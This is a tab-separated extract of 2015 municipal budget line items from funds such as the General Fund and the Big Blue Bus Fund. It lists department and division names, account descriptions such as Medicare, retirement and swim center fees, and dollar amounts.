15011	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		DCAP	806.0	Salaries and Wages	2015	936.0	0	0	0	0	0	0.0	0	0	0	0	0.0	936.0
15012	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		DCAP	806.0	Salaries and Wages	2015	1076.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1076.0
15013	BA	IS	1	General Fund	310	FIRE	315	TRAINING		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2015	480.0	0	0	0	0	0	0.0	0	0	0	0	0.0	480.0
15014	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		LIFE INSURANCE & AD & D	840.0	Salaries and Wages	2015	10707.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10707.0
15015	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER		DISABILITY INSURANCE	840.0	Salaries and Wages	2015	27776.0	0	0	0	0	0	0.0	0	0	0	0	0.0	27776.0
15016	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		DCAP	808.0	Salaries and Wages	2015	5898.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5898.0
15017	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		DISABILITY INSURANCE		Salaries and Wages	2015	4471.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4471.0
15018	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER		UNEMPLOYMENT	840.0	Salaries and Wages	2015	7777.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7777.0
15019	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2015	199971.0	0	0	0	0	0	0.0	0	0	0	0	0.0	199971.0
15020	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	406071.0	PLAYA VISTA	650.0	Charges for Service	2015	-648430.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-648430.0
15021	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	408000.0	INTERFUND SERVICES	650.0	Charges for Service	2015	-250000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-250000.0
15022	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	408000.0	INTERFUND SERVICES-PKG OPS	612.0	Charges for Service	2015	-2223304.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2223304.0
15023	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	555210.0	TRAINING	816.0	 Supplies and Expenses	2015	4875.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4875.0
15024	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	408000.0	INTERFUND SERVICES-RES	612.0	Charges for Service	2015	-220000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-220000.0
15025	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	3306.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3306.0
15026	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	12079.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12079.0
15027	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2015	44689.0	0	0	0	0	0	0.0	0	0	0	0	0.0	44689.0
15028	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2015	13290.0	0	0	0	0	0	0.0	0	0	0	0	0.0	13290.0
15029	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15030	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2015	8713.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8713.0
15031	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2015	15922.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15922.0
15032	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2015	23548.0	0	0	0	0	0	0.0	0	0	0	0	0.0	23548.0
15033	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2015	14090.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14090.0
15034	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511748.0	DENTAL	840.0	Salaries and Wages	2015	9490.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9490.0
15035	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2015	481836.0	0	0	0	0	0	0.0	0	0	0	0	0.0	481836.0
15036	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15037	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2015	1390.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1390.0
15038	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2015	15778.0	0	0	0	0	0	0.0	0	0	0	0	0.0	15778.0
15039	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	577850.0	CONTINGENCY	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15040	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	401151.0	REBATES-MALL ASSESS DISTR	622.0	Other	2015	20000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	20000.0
15041	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	107950.0	0	0	0	0	0	0.0	0	0	0	0	0.0	107950.0
15042	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511711.0	MEDICARE-POLICE	806.0	Salaries and Wages	2015	40007.0	0	0	0	0	0	0.0	0	0	0	0	0.0	40007.0
15043	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2015	19103.0	0	0	0	0	0	0.0	0	0	0	0	0.0	19103.0
15044	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	812.0	Salaries and Wages	2015	38485.0	0	0	0	0	0	0.0	0	0	0	0	0.0	38485.0
15045	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2015	9669.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9669.0
15046	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2015	17485.0	0	0	0	0	0	0.0	0	0	0	0	0.0	17485.0
15047	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401000.0	SWIM CENTER	612.0	Charges for Service	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15048	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401003.0	SWIM CENTER-SWIM PASSES	612.0	Charges for Service	2015	-197300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-197300.0
15049	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401009.0	SWIM CENTER-AQUATIC SUPPLIES	612.0	Charges for Service	2015	-9000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-9000.0
15050	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	408000.0	INTERFUND SERVICES-POLICE OSE	612.0	Charges for Service	2015	-1378824.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-1378824.0
15051	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2015	8710.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8710.0
15052	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2015	2778.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2778.0
15053	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561404.0	PROJECT HOMECOMING		 Supplies and Expenses	2015	35893.0	0	0	0	0	0	0.0	0	0	0	0	0.0	35893.0
15054	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2015	45029.0	0	0	0	0	0	0.0	0	0	0	0	0.0	45029.0
15055	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE		EAP	806.0	Salaries and Wages	2015	10318.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10318.0
15056	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE		DCAP	806.0	Salaries and Wages	2015	7106.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7106.0
15057	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		UNEMPLOYMENT	806.0	Salaries and Wages	2015	8279.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8279.0
15058	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER		DCAP	840.0	Salaries and Wages	2015	1574.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1574.0
15059	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		DCAP	808.0	Salaries and Wages	2015	504.0	0	0	0	0	0	0.0	0	0	0	0	0.0	504.0
15060	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS		DCAP	808.0	Salaries and Wages	2015	1078.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1078.0
15061	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	4012.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4012.0
15062	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		DCAP	808.0	Salaries and Wages	2015	1366.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1366.0
15063	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2015	12390.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12390.0
15064	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2015	373573.0	0	0	0	0	0	0.0	0	0	0	0	0.0	373573.0
15065	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV		DCAP	806.0	Salaries and Wages	2015	2012.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2012.0
15066	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES		WELLNESS	806.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15067	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING		UNEMPLOYMENT	808.0	Salaries and Wages	2015	28808.0	0	0	0	0	0	0.0	0	0	0	0	0.0	28808.0
15068	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	5792.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5792.0
15069	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	25133.0	0	0	0	0	0	0.0	0	0	0	0	0.0	25133.0
15070	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		EAP	808.0	Salaries and Wages	2015	1986.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1986.0
15071	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511713.0	MEDICARE-MISC EMPLOYEES	812.0	Salaries and Wages	2015	18037.0	0	0	0	0	0	0.0	0	0	0	0	0.0	18037.0
15072	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2015	10945.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10945.0
15073	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2015	289656.0	0	0	0	0	0	0.0	0	0	0	0	0.0	289656.0
15074	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2015	98735.0	0	0	0	0	0	0.0	0	0	0	0	0.0	98735.0
15075	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544390.0	OTHER COSTS	810.0	 Supplies and Expenses	2015	52521.0	0	0	0	0	0	0.0	0	0	0	0	0.0	52521.0
15076	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2015	228015.0	0	0	0	0	0	0.0	0	0	0	0	0.0	228015.0
15077	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2015	3282.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3282.0
15078	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2015	543.0	0	0	0	0	0	0.0	0	0	0	0	0.0	543.0
15079	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	544390.0	OTHER COSTS	810.0	 Supplies and Expenses	2015	2666.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2666.0
15080	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2015	216.0	0	0	0	0	0	0.0	0	0	0	0	0.0	216.0
15081	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		UNEMPLOYMENT	808.0	Salaries and Wages	2015	2431.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2431.0
15082	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		UNEMPLOYMENT	808.0	Salaries and Wages	2015	4594.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4594.0
15083	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	8161.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8161.0
15084	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	5047.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5047.0
15085	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		WELLNESS	808.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15086	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		EAP	808.0	Salaries and Wages	2015	2874.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2874.0
15087	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		UNEMPLOYMENT	808.0	Salaries and Wages	2015	83542.0	0	0	0	0	0	0.0	0	0	0	0	0.0	83542.0
15088	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	10784.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10784.0
15089	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		DISABILITY INSURANCE	808.0	Salaries and Wages	2015	273823.0	0	0	0	0	0	0.0	0	0	0	0	0.0	273823.0
15090	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2015	1546.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1546.0
15091	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2015	11470.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11470.0
15092	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511748.0	DENTAL	840.0	Salaries and Wages	2015	7023.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7023.0
15093	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2015	130963.0	0	0	0	0	0	0.0	0	0	0	0	0.0	130963.0
15094	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511749.0	VISION	840.0	Salaries and Wages	2015	2198.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2198.0
15095	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511712.0	MEDICARE-FIRE	806.0	Salaries and Wages	2015	19855.0	0	0	0	0	0	0.0	0	0	0	0	0.0	19855.0
15096	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2015	8726.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8726.0
15097	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2015	6090.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6090.0
15098	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2015	10890.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10890.0
15099	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2015	43574.0	0	0	0	0	0	0.0	0	0	0	0	0.0	43574.0
15100	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2015	57213.0	0	0	0	0	0	0.0	0	0	0	0	0.0	57213.0
15101	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2015	89644.0	0	0	0	0	0	0.0	0	0	0	0	0.0	89644.0
15102	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2015	10380.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10380.0
15103	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401007.0	SWIM CENTER-SEMI-PRIVATE LESSO	612.0	Charges for Service	2015	-88200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-88200.0
15104	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400660.0	TECHNOLOGY ENHANCEMENT FEE	612.0	Charges for Service	2015	-298700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-298700.0
15105	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2015	6846.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6846.0
15106	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2015	4789.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4789.0
15107	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2015	5615.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5615.0
15108	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522720.0	MILEAGE	810.0	 Supplies and Expenses	2015	103.0	0	0	0	0	0	0.0	0	0	0	0	0.0	103.0
15109	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2015	441.0	0	0	0	0	0	0.0	0	0	0	0	0.0	441.0
15110	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2015	62462.0	0	0	0	0	0	0.0	0	0	0	0	0.0	62462.0
15111	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2015	795.0	0	0	0	0	0	0.0	0	0	0	0	0.0	795.0
15112	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		YEAR-END CASH OUTS	816.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15113	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	45691.0	0	0	0	0	0	0.0	0	0	0	0	0.0	45691.0
15114	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511749.0	VISION	804.0	Salaries and Wages	2015	588.0	0	0	0	0	0	0.0	0	0	0	0	0.0	588.0
15115	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2015	101561.0	0	0	0	0	0	0.0	0	0	0	0	0.0	101561.0
15116	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		UNEMPLOYMENT	804.0	Salaries and Wages	2015	2476.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2476.0
15117	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2015	2565.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2565.0
15118	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511748.0	DENTAL	804.0	Salaries and Wages	2015	11607.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11607.0
15119	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511749.0	VISION	804.0	Salaries and Wages	2015	1610.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1610.0
15120	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401005.0	SWIM CENTER-ROOM RENTALS	612.0	Charges for Service	2015	-2700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-2700.0
15121	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401006.0	SWIM CENTER-SPECIAL CLASSES	612.0	Charges for Service	2015	-54400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-54400.0
15122	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	533670.0	IMAGING COSTS	816.0	 Supplies and Expenses	2015	3103.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3103.0
15123	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2015	66239.0	0	0	0	0	0	0.0	0	0	0	0	0.0	66239.0
15124	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2015	2252.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2252.0
15125	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2015	2236.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2236.0
15126	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2015	321662.0	0	0	0	0	0	0.0	0	0	0	0	0.0	321662.0
15127	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2015	1414.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1414.0
15128	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2015	2005.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2005.0
15129	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2015	540.0	0	0	0	0	0	0.0	0	0	0	0	0.0	540.0
15130	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2015	187639.0	0	0	0	0	0	0.0	0	0	0	0	0.0	187639.0
15131	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2015	3263333.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3263333.0
15132	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	408000.0	INTERFUND SERVICES-ENG	612.0	Charges for Service	2015	-238194.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-238194.0
15133	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555870.0	GROCERY & SUNDRY ITEMS	810.0	 Supplies and Expenses	2015	23160.0	0	0	0	0	0	0.0	0	0	0	0	0.0	23160.0
15134	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511711.0	MEDICARE-POLICE	806.0	Salaries and Wages	2015	216907.0	0	0	0	0	0	0.0	0	0	0	0	0.0	216907.0
15135	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2015	799.0	0	0	0	0	0	0.0	0	0	0	0	0.0	799.0
